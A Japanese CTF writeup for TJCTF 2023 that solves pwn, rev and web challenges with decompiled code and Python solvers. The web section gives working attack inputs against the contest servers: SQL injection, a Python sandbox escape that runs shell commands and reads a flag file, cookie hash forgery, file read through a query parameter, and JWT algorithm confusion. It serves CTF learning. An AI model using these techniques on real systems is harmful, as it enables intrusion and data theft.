TJCTF 2023 Writeup

この大会は2023/5/26 9:00(JST)~2023/5/28 9:00(JST)に開催されました。
今回もチームで参戦。結果は553点で1047チーム中57位でした。
自分で解けた問題をWriteupとして書いておきます。

discord (misc)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。

tjctf{b4ck_4t_1t_4ga1n}

flip-out (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  FILE *__stream;
  undefined8 uVar2;
  long in_FS_OFFSET;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined local_30;
  undefined7 uStack_2f;
  undefined uStack_28;
  undefined8 local_27;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  local_b8 = 0x20676e6968746f4e;
  local_b0 = 0x6820656573206f74;
  local_a8 = 0x4e202e2e2e657265;
  local_a0 = 0x7420676e6968746f;
  local_98 = 0x656820656573206f;
  local_90 = 0x2e2e2e6572;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  uStack_2f = 0;
  uStack_28 = 0;
  local_27 = 0;
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    printf("Cannot find flag.txt.");
    uVar2 = 1;
  }
  else {
    fgets((char *)&local_38,0x19,__stream);
    fclose(__stream);
    printf("Input: ");
    __isoc99_scanf(&DAT_0010202d,&local_b8);
    uVar1 = atoi((char *)&local_b8);
    if ((int)uVar1 < 0x81) {
      printf("%s",(long)&local_b8 + (long)(int)(uVar1 & 0xff));
      uVar2 = 0;
    }
    else {
      uVar2 = 0;
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

どのインデックスから表示させるかを指定する。128を指定すればよい。

$ nc tjc.tf 31601
Input: 128
tjctf{chop-c4st-7bndbji}
tjctf{chop-c4st-7bndbji}

wtmoo (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  undefined8 uVar3;
  long in_FS_OFFSET;
  int local_60;
  undefined4 local_5c;
  char local_58 [32];
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter text: ");
  fgets(local_58,0x20,stdin);
  sVar2 = strlen(local_58);
  local_58[sVar2 - 1] = '\0';
  strcpy(local_38,local_58);
  sVar2 = strlen(local_58);
  local_5c = (int)sVar2;
  local_60 = 0;
  do {
    if (local_5c <= local_60) {
      iVar1 = strcmp(local_58,flag);
      if (iVar1 == 0) {
        printf(cow,local_38);
      }
      else {
        printf(cow,local_58);
      }
      uVar3 = 0;
LAB_00101427:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar3;
    }
    if ((local_58[local_60] < 'a') || ('z' < local_58[local_60])) {
      if ((local_58[local_60] < 'A') || ('Z' < local_58[local_60])) {
        if ((local_58[local_60] < '0') || ('4' < local_58[local_60])) {
          if ((local_58[local_60] < '5') || ('9' < local_58[local_60])) {
            if ((local_58[local_60] != '{') && (local_58[local_60] != '}')) {
              puts("wtmoo is this guess???");
              printf("%c\n",(ulong)(uint)(int)local_58[local_60]);
              uVar3 = 1;
              goto LAB_00101427;
            }
          }
          else {
            local_58[local_60] = local_58[local_60] + -0x15;
          }
        }
        else {
          local_58[local_60] = local_58[local_60] + '+';
        }
      }
      else {
        local_58[local_60] = local_58[local_60] + ' ';
      }
    }
    else {
      local_58[local_60] = local_58[local_60] + -0x3c;
    }
    local_60 = local_60 + 1;
  } while( true );
}

                             flag                                            XREF[2]:     Entry Point(*), main:001013d0(R)  
        00104018 8b 20 10        addr       s_8.'8*{;8m33[o[3[3[%")#*\}_0010208b             = "8.'8*{;8m33[o[3[3[%\")#*\\}"
                 00 00 00 
                 00 00

以下のような暗号になっているので、元に戻す。

・英小文字の場合は、-0x3c
・英大文字の場合は、+0x20
・0~4の場合は、+0x2b
・5~9の場合は、-0x15
・{}はそのまま
#!/usr/bin/env python3
from string import *

chars = ascii_letters + digits + '{}'
dic = {}

for c in chars:
    if c.islower():
        dic[chr(ord(c) - 0x3c)] = c
    elif c.isupper():
        dic[chr(ord(c) + 0x20)] = c
    elif c in digits[:5]:
        dic[chr(ord(c) + 0x2b)] = c
    elif c in digits[5:]:
        dic[chr(ord(c) - 0x15)] = c
    else:
        dic[c] = c

enc = '8.\'8*{;8m33[o[3[3[%")#*\\}'

flag = ''
for c in enc:
    flag += dic[c]
print(flag)
tjctf{wtMoo0O0o0o0a7e8f1}

maybe (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  size_t sVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int local_6c;
  byte local_68 [72];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Enter your flag");
  fgets((char *)local_68,0x40,stdin);
  sVar1 = strlen((char *)local_68);
  if (sVar1 == 0x21) {
    local_6c = 4;
    while( true ) {
      sVar1 = strlen((char *)local_68);
      if (sVar1 - 1 <= (ulong)(long)local_6c) break;
      if ((local_68[local_6c] ^ local_68[local_6c + -4]) != (&flag)[local_6c + -4]) {
        puts("you\'re def wrong smh");
        uVar2 = 1;
        goto LAB_00101257;
      }
      local_6c = local_6c + 1;
    }
    puts("you might be right??? you might be wrong.... who knows?");
    uVar2 = 0;
  }
  else {
    puts("bad");
    uVar2 = 1;
  }
LAB_00101257:
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

                             flag                                            XREF[3]:     Entry Point(*), main:001011ff(*), 
                                                                                          main:00101206(R)  
        00102010 12              undefined1 12h
        00102011 11              ??         11h
        00102012 00              ??         00h
        00102013 15              ??         15h
        00102014 0b              ??         0Bh
        00102015 48              ??         48h    H
        00102016 3c              ??         3Ch    <
        00102017 12              ??         12h
        00102018 0c              ??         0Ch
        00102019 44              ??         44h    D
        0010201a 00              ??         00h
        0010201b 10              ??         10h
        0010201c 51              ??         51h    Q
        0010201d 19              ??         19h
        0010201e 2e              ??         2Eh    .
        0010201f 16              ??         16h
        00102020 03              ??         03h
        00102021 1c              ??         1Ch
        00102022 42              ??         42h    B
        00102023 11              ??         11h
        00102024 0a              ??         0Ah
        00102025 4a              ??         4Ah    J
        00102026 72              ??         72h    r
        00102027 56              ??         56h    V
        00102028 0d              ??         0Dh
        00102029 7a              ??         7Ah    z
        0010202a 74              ??         74h    t
        0010202b 4f              ??         4Fh    O
        0010202c 00              ??         00h

入力をflagとし、上記のflagデータをencとすると以下のようになる。

flag[0] ^ flag[4] = enc[0]
flag[1] ^ flag[5] = enc[1]
        :

flagは"tjct"から始まることを前提にflagを求める。

#!/usr/bin/env python3
enc = [0x12, 0x11, 0x00, 0x15, 0x0b, 0x48, 0x3c, 0x12, 0x0c, 0x44, 0x00, 0x10,
    0x51, 0x19, 0x2e, 0x16, 0x03, 0x1c, 0x42, 0x11, 0x0a, 0x4a, 0x72, 0x56,
    0x0d, 0x7a, 0x74, 0x4f]

flag = 'tjct'
for i in range(len(enc)):
    flag += chr(enc[i] ^ ord(flag[i]))
print(flag)
tjctf{cam3_saw_c0nqu3r3d98A24B5}

scramble (rev)

最初の3行以外は順番が入れ替わっているようだ。インデントもないので、つじつまが合うように正しい順番にする。

import random

seed = 1000
random.seed(seed)

def recur(lst):
    if(len(lst)==1):
        assert(lst[0]>0)
        return lst[0]
    return recur(lst[::2])/recur(lst[1::2])

def decrypt(inp):
    mod = 256
    n = len(inp)

    l = []
    for i in range(n):
        l.append(random.randint(6, 420))
    assert(len(l)==n)

    l2 = [0]*n
    for i in range(1, n):
        l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
        l2[i] += inp[i]
    l2[0] +=int(recur(l2[1:])*50)
    print(l2)

    l3 =[0]*n
    l3[0] = l2[0]%mod
    for i in range(1, n):
        l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod

    l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]

    flag = ""
    for i in range(n):
        flag+=chr((l4[i]^l3[i]))

    return flag

def main():
    flag_length = 31
    inp = [1]*flag_length
    print("flag is:", decrypt(inp))

main()

実行結果は以下の通り。

[50, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
flag is: tjctf{unshuffling_scripts_xdfj}
tjctf{unshuffling_scripts_xdfj}

div3rev (rev)

bをフラグのASCIIコードのバイト配列にしたときに、最終的にrecur(b)が既定の値になればよい。既定の値は27バイト文字列なので、元も27バイト文字列である。このことを前提に処理を追っていく。

recur(b)
= op1(recur(b[0:9]))+op2(recur(b[9:18]))+op3(recur(b[18:27]))
= op1(op1(recur(b[0:3]))+op2(recur(b[3:6]))+op3(recur(b[6:9])))
  + op2(op1(recur(b[9:12]))+op2(recur(b[12:15]))+op3(recur(b[15:18])))
  + op3(op1(recur(b[18:21]))+op2(recur(b[21:24]))+op3(recur(b[24:27])))
= op1(op1(op1(recur(b[0]))+op2(recur(b[1]))+op3(recur(b[2])))
  + op2(op1(recur(b[3]))+op2(recur(b[4]))+op3(recur(b[5])))
  + op3(op1(recur(b[6]))+op2(recur(b[7]))+op3(recur(b[8]))))
                        :

op1~op3の逆算の関数を考える。
op1は実質以下の処理と同等。

b[i] += 8 * ((b[i] * b[i] + 1) & 1)

つまりb[i]が偶数の場合、b[i] = b[i] + 8、奇数の場合、b[i] = b[i]。
op2は実質以下の処理と同等。

b[i] += 12

op3は実質右シフトの処理と同等。
このため、逆算も簡単に対応できる。

#!/usr/bin/env python3
def rev_op1(b):
    for i in range(len(b)):
        if b[i] % 2 == 0:
            b[i] -= 8
    return b

def rev_op2(b):
    for i in range(len(b)):
        b[i] -= 12
    return b

def rev_op3(b):
    for i in range(len(b)):
        b[i] = (b[i] // 128) + ((b[i] << 1) & 0xff)
    return b

res = b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf'
b = [r for r in res]

b = rev_op1(b[0:9]) + rev_op2(b[9:18]) + rev_op3(b[18:27])
b = rev_op1(b[0:3]) + rev_op2(b[3:6]) + rev_op3(b[6:9]) \
  + rev_op1(b[9:12]) + rev_op2(b[12:15]) + rev_op3(b[15:18]) \
  + rev_op1(b[18:21]) + rev_op2(b[21:24]) + rev_op3(b[24:27])
tmp_b = b
b = []
for i in range(len(tmp_b)):
    if i % 3 == 0:
        b += rev_op1([tmp_b[i]])
    elif i % 3 == 1:
        b += rev_op2([tmp_b[i]])
    else:
        b += rev_op3([tmp_b[i]])

flag = ''
for c in b:
    flag += chr(c)
print(flag)
tjctf{randomfifteenmorelet}

dream (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  ulong uVar2;
  ulong uVar3;
  FILE *__stream;
  long in_FS_OFFSET;
  int local_238;
  int local_234;
  char local_218 [256];
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  type_text("last night, I had a dream...\ntaylor sw1ft, the dollar store version, appeared!\n");
  prompt("what should I do? ",local_218,0x100);
  iVar1 = strcmp("sing",local_218);
  if (iVar1 != 0) {
    puts("no, no, that\'s a bad idea.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  prompt("that\'s a great idea!\nI started to sing the following lyrics: ",local_218,0x100);
  iVar1 = strcmp("maybe I asked for too [many challenges to be written]",local_218);
  if (iVar1 != 0) {
    puts("no, that\'s a dumb lyric.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  type_text("ok... that\'s a weird lyric but whatever\n");
  prompt("that leads me to ask... how many challenges did you ask for??? ",local_218,0x100);
  uVar2 = atol(local_218);
  if ((((uVar2 * 3 ^ 0xb6d8) % 0x521) * 0x23) % 0x5eb != 0x55a) {
    type_text("that\'s a stupid number.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  prompt("ok yeah you\'re asking too much of everyone; try to lower the number??? ",local_218,0x100)
  ;
  uVar3 = atol(local_218);
  if ((((uVar3 * 5) % 0x1e61 | 0x457) * 0x23 - 5) % 1000 != 0x50) {
    type_text("yeah.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if ((uVar2 % uVar3 != 0x1344224) || (uVar2 * uVar3 != 0x33d5d816326aad)) {
    type_text("ok but they might think that\'s too much comparatively, duh.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  type_text("that\'s a lot more reasonable - good on you!\n");
  usleep(75000);
  type_text("ok, now that we\'ve got that out of the way, back to the story...\n");
  type_text("taylor was like, \"wow, you\'re so cool!\", and I said, \"no, you\'re so cool!\"\n");
  type_text(
           "after that, we kinda just sat in silence for a little bit. I could kinda tell I was losi ng her attention, so "
           );
  local_238 = 0;
  for (local_234 = 0; local_234 < 0xc; local_234 = local_234 + 1) {
    prompt("what should I do next? ",local_218,0x100);
    iVar1 = strcmp("ask her about some flags",local_218);
    if (iVar1 == 0) {
      local_238 = local_238 + 1;
    }
    else {
      iVar1 = strcmp("ask her about her new album",local_218);
      if (iVar1 == 0) {
        local_238 = local_238 * local_238;
      }
      else {
        iVar1 = strcmp("ask her about her tour",local_218);
        if (iVar1 != 0) {
          type_text("no, that\'s weird\n");
                    /* WARNING: Subroutine does not return */
          exit(0);
        }
        local_238 = local_238 + 0x16;
      }
    }
  }
  if (local_238 != 0x92f) {
    type_text("taylor died of boredom\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  type_text(
           "taylor got sick and tired of me asking her about various topics, so she finally responde d: "
           );
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    type_text("no flag </3\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_118,0x100,__stream);
  type_text(local_118);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

条件を満たすように答えていく。
1つ目は"sing"と答えればよい。
2つ目は"maybe I asked for too [many challenges to be written]"と答えればよい。
3つ目は以下の条件を満たすようなxを答える。

(((x * 3 ^ 0xb6d8) % 0x521) * 0x23) % 0x5eb == 0x55a

4つ目は以下の条件を満たすようなyを答える。

・(((y * 5) % 0x1e61 | 0x457) * 0x23 - 5) % 1000 == 0x50
・(x % y == 0x1344224) && (x * y == 0x33d5d816326aad)

3つ目で答える際にこの条件も満たす必要がある。x, yについてz3で求める。
5つ目については以下のことを考える必要がある。

・local_238の初期値は0
・"ask her about some flags"と答えると、local_238はプラス1
・"ask her about her new album"と答えると、local_238はlocal_238*local_238
・"ask her about her tour"と答えると、local_238はプラス0x16
・回答は12回行う。
・最終的にlocal_238が0x92fになればよい。

12回の総あたりで目的の値になるものを探す。

#!/usr/bin/env python3
from pwn import *
from z3 import *
import itertools

p = remote('tjc.tf', 31500)

ans = 'sing'
data = p.recvuntil(b'? ').decode()
print(data + ans)
p.sendline(ans.encode())

ans = 'maybe I asked for too [many challenges to be written]'
data = p.recvuntil(b': ').decode()
print(data + ans)
p.sendline(ans.encode())

x = BitVec('x', 32)
y = BitVec('y', 32)
s = Solver()

s.add((((x * 3 ^ 0xb6d8) % 0x521) * 0x23) % 0x5eb == 0x55a)
s.add((((y * 5) % 0x1e61 | 0x457) * 0x23 - 5) % 1000 == 0x50)
s.add(x % y == 0x1344224)
s.add(x * y == 0x33d5d816326aad)

r = s.check()
assert r == sat
m = s.model()
x = m[x].as_long()
y = m[y].as_long()

ans = str(x)
data = p.recvuntil(b'? ').decode()
print(data + ans)
p.sendline(ans.encode())

ans = str(y)
data = p.recvuntil(b'? ').decode()
print(data + ans)
p.sendline(ans.encode())

nums = [0, 1, 2]

for menu in itertools.product(nums, repeat=12):
    v = 0
    for m in menu:
        if m == 0:
            v += 1
        elif m == 1:
            v = v * v
        else:
            v += 0x16
    if v == 0x92f:
        break

answers = [
    'ask her about some flags',
    'ask her about her new album',
    'ask her about her tour'
]

for i in range(12):
    ans = answers[menu[i]]
    data = p.recvuntil(b'? ').decode()
    print(data + ans)
    p.sendline(ans.encode())

data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to tjc.tf on port 31500: Done
last night, I had a dream...
taylor sw1ft, the dollar store version, appeared!
what should I do? sing
that's a great idea!
I started to sing the following lyrics: maybe I asked for too [many challenges to be written]
ok... that's a weird lyric but whatever
that leads me to ask... how many challenges did you ask for??? 131313131
ok yeah you're asking too much of everyone; try to lower the number??? 111111111
that's a lot more reasonable - good on you!
ok, now that we've got that out of the way, back to the story...
taylor was like, "wow, you're so cool!", and I said, "no, you're so cool!"
after that, we kinda just sat in silence for a little bit. I could kinda tell I was losing her attention, so what should I do next? ask her about some flags
what should I do next? ask her about some flags
what should I do next? ask her about some flags
what should I do next? ask her about some flags
what should I do next? ask her about her tour
what should I do next? ask her about her tour
what should I do next? ask her about her new album
what should I do next? ask her about some flags
what should I do next? ask her about some flags
what should I do next? ask her about some flags
what should I do next? ask her about her tour
what should I do next? ask her about her tour
taylor got sick and tired of me asking her about various topics, so she finally responded: tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a}
[*] Closed connection to tjc.tf port 31500
tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a}

hi (web)

リンクされているsecret-b888c3f2.svgを見ると、フラグが書いてあった。

tjctf{pretty_canvas_577f7045}

swill-squill (web)

SQLインジェクションで以下を入力し、Registerすれば、adminのNoteのデータを表示できる。

Name : admin' --
Grade: 任意の文字列

結果、以下が表示された。

My English class is soooooo hard...

C- in Calculus LOL

Saved this flag for safekeeping: tjctf{swill_sql_1y1029345029374}
tjctf{swill_sql_1y1029345029374}

outdated (web)

pyjailの問題と推測し、ファイルにコードを書いてアップロードする。

・print("".__class__.__mro__[1].__subclasses__())

Results of code:

      
        [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

class 'os._wrap_close' のインデックスは132であるとわかる。"sys"はブラックリストにあるので、分離して指定して、ファイル一覧を取得する。

・"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['s' + 'ystem']('ls -la')

Results of code:

      
        total 48
        drwxr-xr-x 1 root root 4096 May 26 06:36 .
        drwxr-xr-x 1 root root 4096 May 26 06:36 ..
        -rw-r--r-- 1 root root    9 Apr  6 21:58 .dockerignore
        -rw-r--r-- 1 root root  131 Apr  6 21:58 Dockerfile
        drwxr-xr-x 2 root root 4096 May 26 06:36 __pycache__
        -rw-r--r-- 1 root root 2936 Apr  6 21:58 app.py
        -rw-r--r-- 1 root root   32 Apr  6 21:58 flag-1b794b81-9ddc-4f35-9806-06eba507a92c.txt
        -rwxr-xr-x 1 root root  130 Apr  6 21:58 run.sh
        drwxr-xr-x 2 root root 4096 Apr  6 22:02 static
        drwxr-xr-x 2 root root 4096 Apr  6 22:10 templates
        drwxr-xr-x 2 root root 4096 May 26 06:42 uploads

フラグのファイル名がわかったので、ファイルの内容を読み取る。

・"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['s' + 'ystem']('cat flag-1b794b81-9ddc-4f35-9806-06eba507a92c.txt')

Results of code:

      
        tjctf{oops_bad_filter_3b582f74}
tjctf{oops_bad_filter_3b582f74}

pay-to-win (web)

例えば、usernameに"hoge"と入力すると以下のようになる。

users['hoge'] = ランダム3バイトのhex文字列
data = '{"username": "hoge", "user_type": "basic"}'
b64data: dataのbase64エンコード
data_hash: (b64data + users['hoge']) のsha256ダイジェスト(hex)
クッキーのdataにb64data、hashにdata_hashを設定

試したら、クッキーの値は以下のようになっていた。

b64data: eyJ1c2VybmFtZSI6ICJob2dlIiwgInVzZXJfdHlwZSI6ICJiYXNpYyJ9
hash: 7f5bde3a9c26495ff3c6afaafe0a55f40b88311320a08b3ce7f41327e088f7b8

user_typeを"premium"にして妥当なデータにすることができれば、フラグが得られそう。users['hoge']をブルートフォースして求め、妥当なデータを取得する。

#!/usr/bin/env python3
from base64 import b64encode, b64decode
import hashlib
import json
import itertools

def hash(data):
    return hashlib.sha256(bytes(data, 'utf-8')).hexdigest()

b64data = 'eyJ1c2VybmFtZSI6ICJob2dlIiwgInVzZXJfdHlwZSI6ICJiYXNpYyJ9'
data_hash = '7f5bde3a9c26495ff3c6afaafe0a55f40b88311320a08b3ce7f41327e088f7b8'

for r in range(256**3):
    users_hoge = hex(r)[2:].zfill(6)
    h = hash(b64data + users_hoge)
    if h == data_hash:
        break

data = json.loads(b64decode(b64data))
data['user_type'] = 'premium'
b64data = b64encode(json.dumps(data).encode()).decode()
print('[+] data:', b64data)

data_hash = hash(b64data + users_hoge)
print('[+] hash:', data_hash)

実行結果は以下の通り。

[+] data: eyJ1c2VybmFtZSI6ICJob2dlIiwgInVzZXJfdHlwZSI6ICJwcmVtaXVtIn0=
[+] hash: e050619ee195c6bca73866b0ea0a2ec2f560abbb8fc348230d908f6c380f2303

これをクッキーにそれぞれ設定しリロードすると、プレミアムサイトに入ることができた。
このサイトでgetパラメータ「theme」に指定したファイルの読み込みをするようになっているので、以下のURLにアクセスする。

https://pay-to-win.tjc.tf/?theme=/secret-flag-dir/flag.txt
||>
HTMLソースを見ると、以下のように書いてあった。
>|html|
<style> tjctf{not_random_enough_64831eff}
 </style>
tjctf{not_random_enough_64831eff}

ez-sql (web)

https://ez-sql.tjc.tf/searchでgetパラメータnameに指定することで部分一致検索ができる。SQLインジェクションをしたいが、nameの値の長さが6未満である必要がある。
配列を使うと長さに気を付ける必要がないことを使って、UNION句で情報を引き抜く。
フラグの入っているテーブルは以下の形式なので、まずテーブル名を調べる。

flag_${uuid.v4().replace(/-/g, '_')}

以下のURLにアクセスする。

https://ez-sql.tjc.tf/search?name[]=XX%27%20union%20select%201,name%20from%20sqlite_master%20where%20type%20=%20%27table%27%20--

結果は以下の通り。

[{"id":1,"joke":"flag_49640762_7310_487e_87c4_a0a4d09bf482"},{"id":1,"joke":"jokes"}]

以下のURLにアクセスする。

https://ez-sql.tjc.tf/search?name[]=XX%27%20union%20select%201,flag%20from%20flag_49640762_7310_487e_87c4_a0a4d09bf482%20--

結果は以下の通りでフラグが得られた。

[{"id":1,"joke":"tjctf{ezpz_l3mon_squ33zy_603f8e08}"}]
tjctf{ezpz_l3mon_squ33zy_603f8e08}

back-to-the-past (web)

適当なユーザを登録すると、クッキーのtokenに以下が設定されていた。

eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJSUzI1NiJ9.eyJpZCI6ICJlZjI3ZTEzZS0yODUxLTRjN2QtOGU0Mi04MTU1NDk1YjQ4ZjYiLCAidXNlcm5hbWUiOiAiaG9nZSIsICJ5ZWFyIjogIjE5NzEifQ.f0STV_dJFFz5UNEmZG43q-Y5QIxKyu7gmX-hVhjtXm3GFJZ1HVwLZy06y5fPuxmxQ23uWFGh1Ob0jfqbW7BvI-vYAqeBBDrUO5RiTUGbQ-JE-ufLyJPYwWVz3t30BrjV2bbXwh67oefdQtqLcVTe8ddWK3eANol4GFeN-LXiV_-VcJHrM9hFfqpHtR6UNn1DG55zinBd-WBbkd3rGcBMIUxHA0fSgVCeTmUvC_hXUPWzvBCbx7SnnUr_Dq9f_UMlABi-wUvW7fhWNhXz_yuxr1XkTJNnCwNhiD-8c1OXPtqE-vRqdHBsrX33joYFHI__IsfYvVzKqJCduAe6n6GKhg

base64デコードして、データを確認する。

$ echo eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJSUzI1NiJ9 | base64 -d
{"typ": "JWT", "alg": "RS256"}
$ echo eyJpZCI6ICJlZjI3ZTEzZS0yODUxLTRjN2QtOGU0Mi04MTU1NDk1YjQ4ZjYiLCAidXNlcm5hbWUiOiAiaG9nZSIsICJ5ZWFyIjogIjE5NzEifQ== | base64 -d
{"id": "ef27e13e-2851-4c7d-8e42-8155495b48f6", "username": "hoge", "year": "1971"}

yearを1970以下にすると、フラグが表示されるが、このtokenを生成するAPIでは1970以下はエラーになる。RS256をHS256にして、公開鍵で認証をすり抜けることができる脆弱性を突く。
生成したtokenを元にHS256アルゴリズム版のtokenを作成する。

#!/usr/bin/env python3
import jwt

with open('public_key.pem', 'r') as f:
    pubkey = f.read()

payload = {"id": "ef27e13e-2851-4c7d-8e42-8155495b48f6", "username": "hoge", "year": "1970"}
token = jwt.encode(payload, key=pubkey, algorithm='HS256').decode()
print(token)

作成したtokenは以下の通り。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6ImVmMjdlMTNlLTI4NTEtNGM3ZC04ZTQyLTgxNTU0OTViNDhmNiIsInVzZXJuYW1lIjoiaG9nZSIsInllYXIiOiIxOTcwIn0.4Yj_uMg7sfsUH7MWmBHPBYVA_0i8P2EaCKzlz0cbhC4

これをクッキーのtokenに設定して、https://back-to-the-future.tjc.tf/retroにアクセスすると、フラグが表示された。

tjctf{very_very_retro_3bbff613}

beep-boop-robot (forensics)

Audacityで開き、波形を見ると、モールス信号になっているので、書き出す。

